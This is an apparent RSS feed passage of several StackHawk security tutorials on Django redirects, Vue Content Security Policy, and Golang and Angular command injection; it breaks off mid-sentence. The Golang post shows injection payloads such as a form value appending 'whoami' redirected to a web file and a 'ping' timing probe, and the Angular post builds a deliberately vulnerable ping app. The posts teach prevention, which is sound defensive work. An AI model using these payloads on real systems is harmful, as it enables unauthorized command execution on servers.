False&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;We&amp;#39;ve covered the basics of redirects in Django. The examples were a high-level overview. To learn more, check out the official &lt;a href=&quot;https://docs.djangoproject.com/en/3.2/ref/contrib/redirects/#installation&quot;&gt;&lt;u&gt;documentation&lt;/u&gt;&lt;/a&gt;. Additionally, we covered some of the more advanced features of redirects. Read on to learn more about the potential cons of redirects if not properly implemented. &lt;/p&gt;&lt;p&gt;Although Django provides a relatively simple and safe way to implement redirects, let&amp;#39;s list the cons: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Potential security risk if not properly implemented&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Potential to cause infinite redirect loop&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Additional complexity requiring deeper understanding of how redirects work to debug&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Definite consideration when writing relevant tests&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Permanent redirects that are difficult to change down the line&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;We went through what an open redirect is, how to prevent it, and how to fix it. We also explored the built-in functions to make redirects safer. Furthermore, we rounded up the article with various examples of safe and unsafe URLs. You should now be able to understand the basics of redirects in Django. Go on and handle redirects like a pro! If you find this article helpful, please share. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Ken Mwaura. &lt;/i&gt;&lt;a href=&quot;http://zoo.hashnode.dev&quot;&gt;&lt;u&gt;&lt;i&gt;Ken&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a backend developer with over 2 years experience writing in depth tutorials on implementing solutions ranging from text solutions to databases, and using APIs to solve real-world problems.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Vue Content Security Policy Guide: What It Is and How to Enable It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/vue-content-security-policy-guide-what-it-is-and-how-to-enable-it</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;In the process of developing secure web applications, you need to consider a wealth of factors. Being a responsible and productive developer requires extensive expertise in engineering fundamentals, development tools, system architecture, integration, and security. It is that last one that we want to put the spotlight on today. &lt;/p&gt;&lt;p&gt;There has never been a better time for bad actors to profit from insecure platforms with large user bases. So it&amp;#39;s essential to ensure that our web platforms are sound and protected from the threats that abound in the wild west of the internet.&lt;/p&gt;&lt;p&gt;This article is part of a series on web security that help developers strengthen their security and appropriately mitigate risks.&lt;/p&gt;&lt;p&gt;One such risk mitigation measure is the implementation of a proper Content Security Policy, or CSP. The objective of this article is to help any developer who needs to demystify content security. We&amp;#39;ll quickly define CSP, demonstrate how to enable it in platforms using Vue.js, and examine potential errors and explain how to address them.&lt;/p&gt;&lt;p&gt;We&amp;#39;ll be using Node.js as our platform for our Vue project. If you have little experience working with Vue.js or Node.js or if this is your first time hearing about them, we recommend that you dedicate some time to explore this&lt;a href=&quot;https://vuejs.org/v2/guide/&quot;&gt; &lt;u&gt;source&lt;/u&gt;&lt;/a&gt;. Even though you can apply the information here to any technology stack, you might not recognize everything in it.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s jump right in.&lt;/p&gt;&lt;h2&gt;Explaining Content Security Policy&lt;/h2&gt;&lt;p&gt;Content Security Policy, or CSP, revolves around how the browser uses the resources requested by the domain. Thus, a Content Security Policy can be defined as a set of policies or instructions provided to the browser to enforce specific rules on web pages. &lt;/p&gt;&lt;p&gt;During the page loading process, the browser requests and renders many resources and executes a lot of code. All modern websites nowadays are by nature intricate and complex. The average web application comprises thousands of lines of HTML, CSS, JavaScript, and other resources like images and files. This code usually references other resources that need to be requested and processed by the browser that could come from the same origin (requested domain) or another origin. &lt;/p&gt;&lt;p&gt;Naturally, the browser must not execute any malicious code or access data that does not belong to the current website as this might open a potential door for exploits.&lt;/p&gt;&lt;p&gt;To prevent these exploits, Content Security Policies exist as a collaboration between major browser makers. A CSP works by allowing the server to provide a response header telling the browser to only execute resources vetted by a legitimate source. This provides a security layer that prevents attackers from taking advantage of vulnerabilities like cross-site scripting (XSS) and injection attacks.&lt;/p&gt;&lt;h4&gt;Examples&lt;/h4&gt;&lt;p&gt;A basic Content Security Policy header would look something like this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;Content-Security-Policy: default-src &amp;#39;self&amp;#39;; script-src &amp;#39;self&amp;#39;; style-src &amp;#39;self&amp;#39;; font-src &amp;#39;self&amp;#39;; img-src &amp;#39;self&amp;#39;; frame-src &amp;#39;self&amp;#39;;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Notice that each section in the header relates to a specific kind of resource. These resources may be images (img-src), scripts (script-src), styles (style-src), or something else. &lt;/p&gt;&lt;p&gt;Additionally, the &amp;#39;self&amp;#39; directive declares that the browser can execute only resources from the same origin. You can expand the specificity of the policy by appending specific domains that you want to retrieve resources from. To do this, append their URLs next to &amp;#39;self.&amp;#39; &lt;/p&gt;&lt;p&gt;Finally, you can allow all domains by setting &amp;#39;*&amp;#39;, but don&amp;#39;t do this unless you absolutely have to.&lt;/p&gt;&lt;h2&gt;Content Security Policy Implemented&lt;/h2&gt;&lt;p&gt;Now that you&amp;#39;re familiar with the basics of a Content Security Policy, let&amp;#39;s look at how you can implement it in your code.&lt;/p&gt;&lt;p&gt;Implementing an essential CSP in Vue.js is relatively straightforward as it merely involves ensuring that our server is providing the correct header on all responses. To achieve this, open your js file, which contains the application server logic, and append the following code. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;You should now see the following:&lt;/p&gt;&lt;p&gt;It&amp;#39;s as simple as that. You can confirm that the response header contains the configuration mentioned above.&lt;/p&gt;&lt;p&gt;If your website looks broken after this, don&amp;#39;t panic. This is to be expected once you implement the policy and corrections have not been implemented yet.&lt;/p&gt;&lt;p&gt;Achieving proper Content Security Policies requires a decent amount of testing and corrections. However, you don&amp;#39;t need to keep your site broken to work on it. You can change the header to use the &amp;#39;Content-Security-Policy-Report-Only&amp;#39; directive, which will produce alerts without enforcing the policies. This feature is beneficial for development environments where the platform&amp;#39;s security is not essential but where the developer needs to be aware of any infringements so they can be addressed appropriately.&lt;/p&gt;&lt;h2&gt;Solving Content Security Policy Violations&lt;/h2&gt;&lt;p&gt;Now, you might feel overwhelmed with all the error messages the browser developer console displays. Don&amp;#39;t fret. Addressing these issues is very straightforward and fast, especially since you can see what your site demands.&lt;/p&gt;&lt;p&gt;First, confirm that the resources that the alert reports are, in fact, legitimate and necessary for the proper functioning of the application. For example, you can see that your application is requesting the following:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;https://code.jquery.com/jquery-3.5.1.min.js&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/moment.js/2.29.1/moment.min.js&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/moment-timezone/0.5.31/moment-timezone-with-data.js&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.bundle.min.js&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdn.jsdelivr.net/npm/axios/dist/axios.min.js&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/css/all.min.css&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-brands-400.woff2&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-brands-400.woff&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-brands-400.ttf&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-regular-400.woff2&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-regular-400.woff&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-regular-400.ttf&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-solid-900.woff2&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-solid-900.woff&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-solid-900.ttf&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;There are valid resources from trust sources. Therefore, having the resources at hand, you can add them to the allow list of each respective source.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This simple change makes the alerts go away.&lt;/p&gt;&lt;p&gt;Neat!&lt;/p&gt;&lt;p&gt;Furthermore, if you want to allow all resources from a specific source domain, thus including many files in just one line, you can specify the common domain in the directive.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;Violations in In-Line Code&lt;/h3&gt;&lt;p&gt;But what about the in-line HTML code? There are some things you can do to address these violations.&lt;/p&gt;&lt;p&gt;The first (and recommended) strategy is to move all in-line code and styles to a separate file and reference it. Doing so will ensure the security of your application and keep it tidy and consistent.&lt;/p&gt;&lt;p&gt;However, if this is not possible, you can move the code to a &amp;lt;script/&amp;gt; or &amp;lt;style/&amp;gt; tag and use a SHA hash key to tell the browser that the code is allowed. You can generate the hash key by hashing the code inside the tag with a SHA256 algorithm. Thankfully, the browser has already provided you with these hash keys in the alerts on the developer console. So you can easily add them to the directive.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Furthermore, if you don&amp;#39;t want to use the SHA hash, you can use a &amp;#39;nonce&amp;#39; tag attribute and add it to the corresponding tag. This will serve the same purpose, but you must update each request with some server-side code.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Moving Forward&lt;/h2&gt;&lt;p&gt;Mitigation strategies can only do so much. And for platforms that provide essential services or handle sensitive data, we need to go the extra mile to ensure the integrity and security of our platforms to our users and our stakeholders.&lt;/p&gt;&lt;p&gt;That being said, it&amp;#39;s crucial to understand the tradeoffs involved in the field of risk mitigation and security implementation on the web. Developers need to be up to date with the latest developments in the market and understand the risks the platforms they are responsible for are exposed to.&lt;/p&gt;&lt;p&gt;Security and integrity don&amp;#39;t have to be complex or overwhelming. That is why we recommend considering robust, well-tested solutions like StackHawk. If you want to learn more about it, please visit our&lt;a href=&quot;https://www.stackhawk.com/&quot;&gt; &lt;u&gt;home page&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Golang Command Injection: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/golang-command-injection-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Many developers are using Go (Golang) to build applications in the cloud—mostly because of the built-in concurrency, speed, and easy-to-understand syntax associated with the language. However, the same environment we deploy to has a plague: hackers trying to control said applications through Golang command injection attacks,&lt;a href=&quot;https://www.stackhawk.com/blog/golang-xss-guide-examples-and-prevention/&quot;&gt; &lt;u&gt;XSS&lt;/u&gt;&lt;/a&gt;, and&lt;a href=&quot;https://www.stackhawk.com/blog/golang-sql-injection-guide-examples-and-prevention/&quot;&gt; &lt;u&gt;SQL injection&lt;/u&gt;&lt;/a&gt; attacks.&lt;/p&gt;&lt;p&gt;This post explores the threat of Golang command injection to web application&amp;#39;s integrity. Our initial efforts will be to expose the motive, nature, and logic of command injection attacks. Thereafter, we&amp;#39;ll examine a few protective methods that fend off command injection attempts. Let&amp;#39;s begin by providing some Golang context to command injection attacks.&lt;/p&gt;&lt;h2&gt;What Is Golang Command Injection?&lt;/h2&gt;&lt;p&gt;At the very least, a command injection targeting Golang applications intends to run system operations without the knowledge of the app&amp;#39;s developers. The motive can be to reveal hidden system or application information. With extreme motives, hackers can even take over the host machine itself from running system commands to change their privilege level and passwords.&lt;/p&gt;&lt;p&gt;The graphic above depicts just a few probable outcomes when hackers successfully run Golang command injections. Needless to say, these are the last things any application&amp;#39;s owner ever dreams of.&lt;/p&gt;&lt;p&gt;Typically, once a hacker has set their crosshairs on your Golang application, they send a couple commands to the server. These commands, if your application is vulnerable, reveal more information that functions as a launchpad for more harmful commands. Common commands your application server will respond to include the following:&lt;/p&gt;&lt;h3&gt;Command: whoami&lt;/h3&gt;&lt;p&gt;This command asks the server to identify your application&amp;#39;s default access level. Every user inherits this user and their associated privileges just by using your application. Typically, they&amp;#39;re able to read files but cannot change source files. This command works for both Windows and Linux operating systems.&lt;/p&gt;&lt;p&gt;&lt;code&gt;taurai@Taurais-MacBook-Pro my-wave-portal % whoami
Taurai&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Command: ver (Windows) or uname -a (Linux)&lt;/h3&gt;&lt;p&gt;This is a query of the operating system on which you&amp;#39;re hosting your Golang application. Knowing this piece of information narrows the hacker&amp;#39;s commands down to your OS.&lt;/p&gt;&lt;p&gt;&lt;code&gt;taurai@Taurais-MacBook-Pro my-wave-portal % uname -a
Darwin Taurais-MacBook-Pro.local 19.6.0 Darwin Kernel 
Version 19.6.0: Thu Sep 16 20:58:47 PDT 2021; 
root:xnu-6153.141.40.1~1/RELEASE_X86_64 x86_64&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Command: ifconfig (Linux) or ipconfig /all (Windows)&lt;/h3&gt;&lt;p&gt;This is perhaps the worst information for a hacker to acquire from your server—your entire network configuration. The screenshot below is from a Golang application running on a localhost-served Ethernet blockchain network.&lt;/p&gt;&lt;h3&gt;Command: netstat -an (both Linux and Windows)&lt;/h3&gt;&lt;p&gt;This command reveals all connections currently feeding and fetching packets to the server. When used with advanced hacking tools, this can give enough information to single out users and mimic their connections as hackers hide in plain sight.&lt;/p&gt;&lt;h3&gt;Command: ps -ef (Linux) or tasklist (Windows)&lt;/h3&gt;&lt;p&gt;This command shows all running processes on the server. It&amp;#39;s a good way for hackers to learn about supporting tools they can also use to penetrate the server completely.&lt;/p&gt;&lt;h2&gt;Command Injection Example&lt;/h2&gt;&lt;p&gt;Now that you know what&amp;#39;s possible when a Golang command injection happens, let&amp;#39;s inspect typical injections in action.&lt;/p&gt;&lt;p&gt;Interactive applications often require user input through forms; the more involved the user in the flow of your application logic, the better their user experience. This often means running commands on the server side from a user&amp;#39;s input. This is how you&amp;#39;d typically achieve this with Go:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The code above uses the default &lt;b&gt;exec.command()&lt;/b&gt; Golang function to pass &lt;b&gt;FormValue (&amp;quot;name&amp;quot;)&lt;/b&gt; in the OS terminal (&amp;quot;sh&amp;quot; stands for shell). Now this code will work just fine to achieve the intended goal. However, it has a few vulnerabilities.&lt;/p&gt;&lt;p&gt;The &lt;b&gt;(&amp;quot;sh&amp;quot;)&lt;/b&gt; command opens the command line to accept arbitrary commands that can be enshrouded in the string variable required further down execution. For instance, a char-type string can be separated with varying combinations of the &amp;amp;, $, &amp;#39;&amp;#39;, and | operators to invoke commands on the OS level.&lt;/p&gt;&lt;p&gt;So instead of a basic &amp;quot;John Doe&amp;quot; form entry, the following will be parsed by your Golang applications when a hacker injects it:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;quot;John &amp;amp; whoami &amp;gt; /var/www/static/whoami.txt &amp;quot;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Remember that &lt;b&gt;whoami&lt;/b&gt; command? This time, your server forwards the output to any file destination specified. In this instance, all outputs forwarded (using the &amp;gt; operator) print on the &lt;b&gt;whoami.txt&lt;/b&gt; file. This can also print on your log any file that externally shows in the browser.&lt;/p&gt;&lt;p&gt;This kind of command injection is a blind attack as it can&amp;#39;t return the results on the front-end pages that belong to the application&amp;#39;s file tree. The output file will need to be planted on the server for the injection example to work. A clever way for hackers to check if your Golang application is vulnerable is by delaying its response time by a preset amount of seconds.&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;amp; ping -c 20 localhost&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The command above triggers the server to loop back on itself, but it waits 20 seconds before rendering the same page it runs on. If your application responds as directed, then any other command will surely pass.&lt;/p&gt;&lt;h2&gt;How to Fix Golang Command Injections&lt;/h2&gt;&lt;p&gt;Let&amp;#39;s look at how best to secure your Golang applications from accepting injections discussed so far. To start with, if you want your Golang application to display the form input, you should explicitly run the &lt;b&gt;echo&lt;/b&gt; command. The unsecure code snippet we reviewed above changes as follows:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Notice how even when the terminal opens on the back end, it only executes the &lt;b&gt;&amp;quot;echo&amp;quot;&lt;/b&gt; command. However, this is by far the end of our solution to the injection issue. Technically, the &lt;b&gt;echo&lt;/b&gt; command will allow another command placed after &lt;b&gt;&amp;amp;&amp;amp;. &lt;/b&gt;To resolve this, you can create a whitelist (array) of allowable string characters as FormValue validation. However, this would apply only to the form input instance. Half-efforts will only leave the rest of your application vulnerable.&lt;/p&gt;&lt;p&gt;The best way to sanitize all input is by having a site wide sanitization method. You can do this by creating a method that you call along with any form value requirement. This can take a lot of effort and needs a lot of testing. The smart way of achieving full sanitization is by constantly scanning new code for vulnerabilities as part of your continuous integration campaign.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Conclusion: A Patch in Time&lt;/h2&gt;&lt;p&gt;A patch in time will save you a ton of embarrassment and money. Filter out command parameters from your input forms and you&amp;#39;ll always be a step ahead of hackers. This is best done on a global scale. Then have a tool like&lt;a href=&quot;https://www.stackhawk.com/product/&quot;&gt; &lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt; automatically sniff out vulnerabilities for your developers to patch before they become a hacker&amp;#39;s gateway.&lt;/p&gt;&lt;p&gt;The code examples we&amp;#39;ve examined are convincing proof that even when you don&amp;#39;t know it, your code ethics can be the end of your application. Hackers have been known to hold companies hostage, having taken over entire networks and apps therein, before asking for millions in ransom.&lt;/p&gt;&lt;p&gt;Beyond being a wonderful language to use on the back end of your web applications, Golang is relatively easy to code protections into. Construct and test a function once and call it to remove any injections from your input and you will have a safer Golang app. More important, though, is having these secure code blocks implemented even as your codebase increases.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Taurai Mutimutema. &lt;/i&gt;&lt;a href=&quot;https://twitter.com/rusiqe&quot;&gt;&lt;u&gt;&lt;i&gt;Taurai &lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt;is a systems analyst with a knack for writing, which was probably sparked by the need to document technical processes during code and implementation sessions. He enjoys learning new technology and talks about tech even more than he writes.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Angular Command Injection: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/angular-command-injection-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;If you look for the top web application frameworks on the internet, you&amp;#39;ll find that most sources include Angular on their list. According to &lt;a href=&quot;https://trends.builtwith.com/javascript/Angular-JS&quot;&gt;&lt;u&gt;BuiltWith&lt;/u&gt;&lt;/a&gt;, there are over &lt;b&gt;1.5 million &lt;/b&gt;live websites using Angular. So it&amp;#39;s pretty obvious why it would appear on the radar of attackers. Therefore, it becomes more important for you to take care of your Angular application&amp;#39;s security. &lt;/p&gt;&lt;p&gt;A malicious actor can cause harm to a web application by taking advantage of &lt;a href=&quot;https://owasp.org/www-community/vulnerabilities/&quot;&gt;&lt;u&gt;vulnerabilities&lt;/u&gt;&lt;/a&gt;, logical flaws, etc. Fixing vulnerabilities and logical flaws are both in control of the application&amp;#39;s owner. So it should be one of the first things anybody should do to enhance security. But the question is with so many possible vulnerabilities, what should you work on first? The answer is simple: You first work on the &lt;a href=&quot;https://owasp.org/www-project-top-ten/&quot;&gt;&lt;u&gt;most common vulnerabilities&lt;/u&gt;&lt;/a&gt;, move toward less common ones, and then to zero-day. &lt;/p&gt;&lt;p&gt;Today, we&amp;#39;ll focus on one of the common vulnerabilities in web applications—command injection. We&amp;#39;ll first go through what command injection is, then how it works, and finally, how we can prevent it. &lt;/p&gt;&lt;h2&gt;What Is Command Injection?&lt;/h2&gt;&lt;p&gt;Command injection vulnerability is a security weakness in applications where a user can exploit the application to execute operating system (OS) commands on the server. This vulnerability can exist when the application uses user input or data from the client-side of the application in OS commands. &lt;/p&gt;&lt;p&gt;What a command injection attack can result in depends on the permissions with which the application executes the command. In most scenarios, applications have enough permission to do harm to the system or the network. And even if they don&amp;#39;t have a lot of permissions, &lt;a href=&quot;https://www.netsparker.com/blog/web-security/privilege-escalation/&quot;&gt;&lt;u&gt;privilege escalation&lt;/u&gt;&lt;/a&gt; is not in uncharted waters. &lt;/p&gt;&lt;p&gt;In general, command injection can lead to attackers stealing data, changing configurations, or even bringing the whole server down. In addition, attackers can use commands to know about the internal architecture and gain knowledge of the network. So even if they can&amp;#39;t do much damage from/to the exploited system, they can find a weak link. That said, this vulnerability is not something you should turn a blind eye to. &lt;/p&gt;&lt;p&gt;Now let&amp;#39;s try and understand how command injections work. &lt;/p&gt;&lt;h2&gt;How Does Command Injection Work?&lt;/h2&gt;&lt;p&gt;The main condition to fulfill for a command injection to work is that the application should use data from a client-side request in OS commands. In such applications, the attacker can inject crafted input to execute commands in addition to the command the application is designed to execute. &lt;/p&gt;&lt;p&gt;We will go through some examples of how one can exploit command injection vulnerability in Angular applications. And for that, we first need to set up a vulnerable Angular application. The application will first take an IP address as input from the user. The entered IP address will be passed to the &lt;a href=&quot;https://www.techtarget.com/searchnetworking/definition/ping&quot;&gt;&lt;u&gt;&lt;b&gt;ping&lt;/b&gt;&lt;/u&gt;&lt;/a&gt; OS command, and the result of this command will be displayed again to the user. &lt;/p&gt;&lt;p&gt;We start with &lt;a href=&quot;https://angular.io/guide/setup-local&quot;&gt;&lt;u&gt;installing Angular&lt;/u&gt;&lt;/a&gt;. Once done, we start building our vulnerable application. We need to build four main parts to do the following: &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Take user input.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Send input to the back end.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Execute an OS command with user input.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Display the result of the OS command.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;So let&amp;#39;s start with building the first part. &lt;/p&gt;&lt;h3&gt;Taking User Input&lt;/h3&gt;&lt;p&gt;There are &lt;a href=&quot;https://www.cloudhadoop.com/angular-get-input-value-multiple-ways/&quot;&gt;&lt;u&gt;different ways&lt;/u&gt;&lt;/a&gt; to do this. I&amp;#39;ll go with the template-driven form to collect user input. And for this, we need to import FormsModule and HttpModule in the &lt;b&gt;app.module.ts&lt;/b&gt; file. First, you need to get into your project directory and under that &lt;b&gt;/src/app/ &lt;/b&gt;directory. For example, the name of my project is &lt;b&gt;osci&lt;/b&gt;, so the path is &lt;i&gt;&lt;b&gt;/home/kali/osci/osci/src/app.&lt;/b&gt;&lt;/i&gt; &lt;/p&gt;&lt;p&gt;You can use your favorite text editor to add the following lines and mention the module names under imports: &lt;/p&gt;&lt;p&gt;&lt;code&gt;import { HttpClientModule } from &amp;#39;@angular/http&amp;#39;;
import { FormsModule } from &amp;#39;@angular/forms&amp;#39;;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Now, let&amp;#39;s create a webpage to take user input. We will do this by adding HTML in the &lt;b&gt;app.component.html&lt;/b&gt; file. &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;form #myForm=&amp;quot;ngForm&amp;quot; (ngSubmit)=&amp;quot;onSubmit(myForm)&amp;quot;&amp;gt;
&amp;lt;p&amp;gt;
&amp;lt;label for=&amp;quot;ip&amp;quot;&amp;gt;Enter IP address to ping&amp;lt;/label&amp;gt;
&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;ip_in&amp;quot; ngModel&amp;gt;
&amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt;
&amp;lt;button type=&amp;quot;submit&amp;quot;&amp;gt;Submit&amp;lt;/button&amp;gt;
&amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt;{{ msg }}&amp;lt;/p&amp;gt;
&amp;lt;/form&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Now you can save this, run the &lt;i&gt;&lt;b&gt;ng serve&lt;/b&gt;&lt;/i&gt; command from the terminal, and visit localhost:4200 (or another port that you&amp;#39;ve explicitly mentioned) in your browser. You should see a webpage like this: &lt;/p&gt;&lt;p&gt;This is the front end of the application.&lt;/p&gt;&lt;h3&gt;Sending Input to the Back End and Displaying the Result on the Webpage&lt;/h3&gt;&lt;p&gt;Angular is a front-end framework. So, we need to send the input to a back end to execute the OS command. To do this, open the &lt;b&gt;app.component.ts &lt;/b&gt;file and add the following lines: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This &lt;a href=&quot;https://www.typescriptlang.org/&quot;&gt;&lt;u&gt;TypeScript&lt;/u&gt;&lt;/a&gt; code will collect the user input from the HTML form and send it to the back end. In our case, we&amp;#39;ll use a Python API server as the back end. So basically, this TypeScript code will send the request to the Python API, get the response, and display it on the webpage. The line &lt;i&gt;&lt;b&gt;this.msg = Object.values(res);&lt;/b&gt;&lt;/i&gt; will update an element in the webpage with the response value. The API request will be to &lt;i&gt;&lt;b&gt;http://localhost:5000/ping &lt;/b&gt;&lt;/i&gt;because we&amp;#39;ll be hosting our API server locally on port 5000. Now let&amp;#39;s build our API server. &lt;/p&gt;&lt;h3&gt;Execute OS Command With User Input&lt;/h3&gt;&lt;p&gt;My choice for API server is Python Flask. If you don&amp;#39;t have it installed already, you need to &lt;a href=&quot;https://www.python.org/downloads/&quot;&gt;&lt;u&gt;install Python3&lt;/u&gt;&lt;/a&gt;. If you&amp;#39;re using a Linux machine like me, you can install it using the following command: &lt;/p&gt;&lt;p&gt;&lt;code&gt;sudo apt-get install python3&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Next, we install Flask by running: &lt;/p&gt;&lt;p&gt;&lt;code&gt;pip install flask&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Copy the following Python script for API in a &lt;b&gt;.py &lt;/b&gt;extension file and save it. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;First, we import the modules we need. Then we&amp;#39;ll configure the API with CORS to avoid &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS/Errors&quot;&gt;&lt;u&gt;same-origin policy errors&lt;/u&gt;&lt;/a&gt;. The next part of the code gets the data from the request and runs the &lt;i&gt;&lt;b&gt;ping&lt;/b&gt;&lt;/i&gt; command by appending the IP to it. The result of the command is stored in a file and then sent back as a response to the API request. &lt;/p&gt;&lt;h2&gt;Angular Command Injection in Action&lt;/h2&gt;&lt;p&gt;Now that we have everything we need, it&amp;#39;s time to fire up our code and do some hands-on testing of command injection. First, we start our API server. To do this, you need to change your current directory in the terminal to the directory where you have the Python script and run the following command: &lt;/p&gt;&lt;p&gt;&lt;code&gt;python3 &amp;lt;name of the 